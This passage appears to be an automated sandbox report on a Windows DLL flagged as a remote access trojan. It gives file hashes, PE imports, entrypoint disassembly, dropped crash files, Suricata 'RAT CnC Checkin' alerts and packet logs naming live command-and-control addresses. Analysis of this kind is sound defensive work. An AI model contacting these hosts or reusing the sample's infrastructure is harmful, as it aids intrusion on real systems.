Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.3.2.9.0.2.8.6.9.4.5.5.8.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.3.2.9.0.2.9.1.3.2.0.6.2.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.2.b.f.c.7.3.a.-.d.9.f.4.-.4.9.6.f.-.8.3.2.b.-.e.e.d.d.7.e.9.b.6.1.7.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.5.d.6.4.c.9.f.-.9.a.8.9.-.4.0.4.a.-.8.b.c.4.-.8.0.a.f.4.4.5.3.b.0.8.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.7.8.-.0.0.0.1.-.0.0.1.4.-.0.7.1.6.-.f.9.e.0.4.9.5.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.8.f.a.8.8.9.e.4.5.6.a.a.6.4.6.a.4.d.0.a.4.3.4.9.9.7.7.4.3.0.c.e.5.f.a.5.e.2.d.7.!.r.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER961D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Dec 22 08:17:08 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	75720
Entropy (8bit):	2.0233124277944463
Encrypted:	false
SSDEEP:	192:zRRL3A40KR6RVDO5H4acGHI7NAp/fN62BUcC7Gq690a0+aVc7nh:PLp066+5H7cGUNAlU2wq91laOD
MD5:	A74941B7A2016CC13F08FAD19D827336
SHA1:	6BDC08FBDF4049D5A8CC59351B9DDE690B0AFBC6
SHA-256:	75ECFDF8330168C146AF2DA524486BBBB86193082855401C78A496395071B354
SHA-512:	41470734AC2D76C6C418C1FF5A0610667C725B92593688C0B863F0B71F94DE1D2E3C28B64E653134A27EA9833EFE8C08DDA257CB24E52DFC8917262629795F3A
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........gg............$...............,............<..........T.......8...........T...........87..............< ..........("..............................................................................eJ......."......GenuineIntel............T.......x.....gg.............................0..=...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER96F9.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8324
Entropy (8bit):	3.6877150044910167
Encrypted:	false
SSDEEP:	192:R6l7wVeJH66hz6YFs6aSggmf8qJ4pD089b7Vsfapm:R6lXJa616Yu6hggmf8qJU7uf9
MD5:	584F7909D8224999A20696B69ED7E313
SHA1:	63C790A919EE470E748A04DBBCBF98966F0C6E51
SHA-256:	0A4532FB624B8A5D978A4911AA84C50E06B2BB2F0CCBC8BA19F297F29EA000A0
SHA-512:	3C87F213C6131B9E5AE3E047BE10FB775119EBC0CA29DE7A682361A247B531F9C0E36763F7637346AF9AC9D0B51FCDFA9CC1019289E61935FFE3DC9C3220BDF5
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9729.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4747
Entropy (8bit):	4.448967898641122
Encrypted:	false
SSDEEP:	48:cvIwWl8zs3Jg77aI9tSWpW8VYUYm8M4JCdPRaFbgTK+q8vjPRHTnGScS2d:uIjfZI7/z7VQJqxTKKVHLJ32d
MD5:	32327A2D81FE8A4FDBA7FAA4A0A7ADDD
SHA1:	D9E3A794C4A011F36FA21554C5C59963CC7E06B3
SHA-256:	9D233A2340E090E5ECEFAD25AAE1A446A3EDA2FC77F5860C1393A4CDCA550B6F
SHA-512:	A2A57F05B5F3BF2CDC7F362FEDBA86D517A8658D9770BA99C40360853F4528A4D4E2584739DEFE2E56A7BD5D28A7E6692F20F2864804F9355F7F70491E085248
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="642199" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.466244345882531
Encrypted:	false
SSDEEP:	6144:8IXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNxdwBCswSbG:BXD94+WlLZMM6YFHT+G
MD5:	4D37F2AE668ECB47168EA7E67429A772
SHA1:	1F912C9BC72943087DE5CF9C7FF53C7F0FD1A28F
SHA-256:	3BD8D4F308233B5425251BFB7EA4B4D9F8753E6ABA2076EE983735EF186F0FF2
SHA-512:	20CEC200E5CC55D601B77FC51D0A8FEF288E6C663E673BF248E180797ED15ED27081C7AA5F427F8CD9A5C3337927DDBD78C2F600DBB07E822B71E6CEE3B81C17
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm....IT..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.62577478877575
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	HLMJbase.dll
File size:	1'071'104 bytes
MD5:	250eb1ef1645f13252ef13c14ba66d51
SHA1:	4aa14d113af1d74fbd1adbc16c10126b69878d0b
SHA256:	dacdac1e333a1f45700e3707e617ff49c457226604f1ffa160fc3faf9b6810b3
SHA512:	e8afc0d6c8c089a8cb1802e21a115961941951ef40d6d553f41980a0c40f9a0644220ba9c55623711f8928e1d47723e9f3d896bcce3806d181d509318ac78f6b
SSDEEP:	24576:X8vRHK4uhXIAnszgnvuscGteHwoXilrEAfTo:V4rewws0rfc
TLSH:	BB35AE40EAD3C5BBDD4F2474642FF33FDB32560A8338D693EBE42DB5A86A361541A106
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............u...u...u.......u..mt...u..mv...u..mq...u..mp...u.&.t...u...t.a.u...u...u.`mu...u.`mw...u.Rich..u........................

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x100a12e9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x67642B1D [Thu Dec 19 14:18:05 2024 UTC]
TLS Callbacks:	0x10088fa0
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	5a379389d798d294fb7ce19042f3dcf5

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F59A0DE2577h
call 00007F59A0DE25D7h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F59A0DE2423h
add esp, 0Ch
pop ebp
retn 000Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [100A60C0h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [100A60CCh]
xor dword ptr [ebp-04h], eax
call dword ptr [100A611Ch]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [100A6148h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov ecx, dword ptr [10102040h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F59A0DE2576h
test esi, ecx
jne 00007F59A0DE2598h
call 00007F59A0DE2509h
mov ecx, eax
cmp ecx, edi
jne 00007F59A0DE2579h
mov ecx, BB40E64Fh
jmp 00007F59A0DE2580h
test esi, ecx
jne 00007F59A0DE257Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [10102040h], ecx
not ecx
pop edi
mov dword ptr [10102080h], ecx
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F59A0DE2584h
cmp dword ptr [0000F88Ch], 00000000h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x100a80	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x100ad4	0xdc	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x103000	0x4d0c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xff958	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xff9c0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xff898	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa6000	0x20c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa4833	0xa4a00	9db27373bcf74384313548cdff739b89	False	0.5883815015186029	data	6.520667142363245	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xa6000	0x5b80e	0x5ba00	b940f5bdafb172ca49d82aa5efc8081c	False	0.5340211459754434	data	6.20745028003892	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x102000	0x4d8	0x200	8917dd775708aa9b2d3e4f127fc8a4f9	False	0.119140625	data	0.6084715227586681	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x103000	0x4d0c	0x4e00	cc372a90e2aea2d045cbc1a9ae8ecd34	False	0.7442407852564102	data	6.595328231641845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
bcryptprimitives.dll	ProcessPrng
api-ms-win-core-synch-l1-2-0.dll	WaitOnAddress, WakeByAddressSingle, WakeByAddressAll
kernel32.dll	SwitchToThread, SetUnhandledExceptionFilter, IsDebuggerPresent, IsProcessorFeaturePresent, InitializeSListHead, HeapReAlloc, HeapFree, Sleep, DisableThreadLibraryCalls, GetSystemTimeAsFileTime, GetModuleHandleW, WaitForSingleObject, GetCurrentThreadId, SetWaitableTimer, GetModuleHandleA, GetFinalPathNameByHandleW, SetLastError, GetQueuedCompletionStatusEx, SetHandleInformation, CreateIoCompletionPort, FreeLibrary, GetCurrentProcess, GetStdHandle, GetConsoleMode, GetProcAddress, MultiByteToWideChar, WriteConsoleW, QueryPerformanceFrequency, FormatMessageW, WaitForSingleObjectEx, LoadLibraryA, lstrlenW, GetCurrentProcessId, CreateMutexA, ReleaseMutex, GetEnvironmentVariableW, GetLastError, LoadLibraryExW, SetThreadErrorMode, CloseHandle, CreateThread, SetThreadStackGuarantee, GetCurrentThread, QueryPerformanceCounter, HeapAlloc, GetProcessHeap, GetCurrentDirectoryW, RtlCaptureContext, WideCharToMultiByte, PostQueuedCompletionStatus, UnhandledExceptionFilter, CreateWaitableTimerExW, SetFileCompletionNotificationModes, TerminateProcess
ws2_32.dll	WSACleanup, WSASend, bind, connect, setsockopt, WSAStartup, getaddrinfo, getsockopt, recv, send, getpeername, freeaddrinfo, closesocket, WSAIoctl, ioctlsocket, WSASocketW, getsockname, WSAGetLastError, shutdown
ntdll.dll	RtlNtStatusToDosError, NtDeviceIoControlFile, NtCreateFile, NtWriteFile, NtCancelIoFileEx
secur32.dll	EncryptMessage, FreeCredentialsHandle, DeleteSecurityContext, DecryptMessage, ApplyControlToken, FreeContextBuffer, QueryContextAttributesW, AcquireCredentialsHandleA, InitializeSecurityContextW, AcceptSecurityContext
advapi32.dll	RegOpenKeyExW, RegCloseKey, RegQueryValueExW
crypt32.dll	CertFreeCertificateChain, CertEnumCertificatesInStore, CertAddCertificateContextToStore, CertDuplicateStore, CertCloseStore, CertDuplicateCertificateChain, CertOpenStore, CertDuplicateCertificateContext, CertVerifyCertificateChainPolicy, CertGetCertificateChain, CertFreeCertificateContext
VCRUNTIME140.dll	_except_handler4_common, __CxxFrameHandler3, memcmp, memmove, memcpy, memset, __std_type_info_destroy_list
api-ms-win-crt-runtime-l1-1-0.dll	_seh_filter_dll, _initterm_e, _initialize_narrow_environment, _initialize_onexit_table, _initterm, _execute_onexit_table, _configure_narrow_argv, _cexit

Exports

Name	Ordinal	Address
NvOptimusEnablement	1	0x100038c8

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-22T09:17:11.577682+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49739	45.204.213.99	7677	TCP
2024-12-22T09:18:23.960106+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49746	45.204.213.99	7677	TCP
2024-12-22T09:19:34.451747+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49933	45.204.213.99	7688	TCP
2024-12-22T09:20:58.342264+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	50030	45.204.213.99	7677	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2024 09:17:03.658704996 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:03.658791065 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:03.658881903 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:03.659013033 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:03.659066916 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:03.659127951 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:03.675143957 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:03.675167084 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:03.675173998 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:03.675205946 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:05.327730894 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:05.327824116 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:05.430753946 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:05.430808067 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:05.431837082 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:05.472234964 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:05.510350943 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:05.510478973 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:05.515652895 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:05.515671015 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:05.515883923 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:05.567431927 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:05.620558023 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:05.663341999 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:05.694654942 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:05.735366106 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:06.227857113 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:06.228009939 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:06.228106976 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:06.235279083 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:06.235340118 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:06.235423088 CET	49732	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:06.235440016 CET	443	49732	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:06.251718998 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:06.251770973 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:06.251818895 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:06.252300978 CET	49733	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:06.252317905 CET	443	49733	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:06.259375095 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:06.259422064 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:06.259509087 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:06.260176897 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:06.260205984 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:06.276542902 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:06.276576042 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:06.276648998 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:06.277888060 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:06.277906895 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:06.309756994 CET	49736	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:06.309806108 CET	443	49736	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:06.309895039 CET	49736	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:06.318470955 CET	49736	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:06.318491936 CET	443	49736	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:07.889580965 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:07.889713049 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:07.891984940 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:07.892015934 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:07.892385960 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:07.893027067 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:07.919440985 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:07.919555902 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:07.929615974 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:07.929644108 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:07.930032969 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:07.935384989 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:07.945437908 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:07.946738005 CET	443	49736	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:07.946844101 CET	49736	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:07.982497931 CET	49736	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:07.982546091 CET	443	49736	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:07.983683109 CET	443	49736	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:07.991377115 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.039031982 CET	49736	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.201181889 CET	49736	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.243376017 CET	443	49736	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.723134995 CET	443	49736	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.723309040 CET	443	49736	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.723376989 CET	49736	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.724384069 CET	49736	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.724419117 CET	443	49736	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.738982916 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.739037991 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.739099979 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.739120007 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.739177942 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.739212990 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.739212990 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.739243984 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.759191990 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.759231091 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.759326935 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.770962000 CET	49737	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.770977974 CET	443	49737	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.771723032 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.771749973 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.771779060 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.771817923 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.771842957 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.771862030 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.771902084 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.863954067 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.864016056 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.864042044 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.864064932 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.864101887 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.864124060 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.898746014 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.898770094 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.898845911 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.898861885 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.898907900 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.949107885 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.949167013 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.949199915 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.949224949 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.949290991 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.949316978 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.984360933 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.984385014 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.984595060 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:08.984610081 CET	443	49735	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:08.984671116 CET	49735	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.245378017 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.245402098 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.245551109 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.245706081 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.245754957 CET	443	49734	38.147.186.138	192.168.2.4
Dec 22, 2024 09:17:09.245820999 CET	49734	443	192.168.2.4	38.147.186.138
Dec 22, 2024 09:17:09.365907907 CET	443	49735	38.147.186.138	192.168.2.4
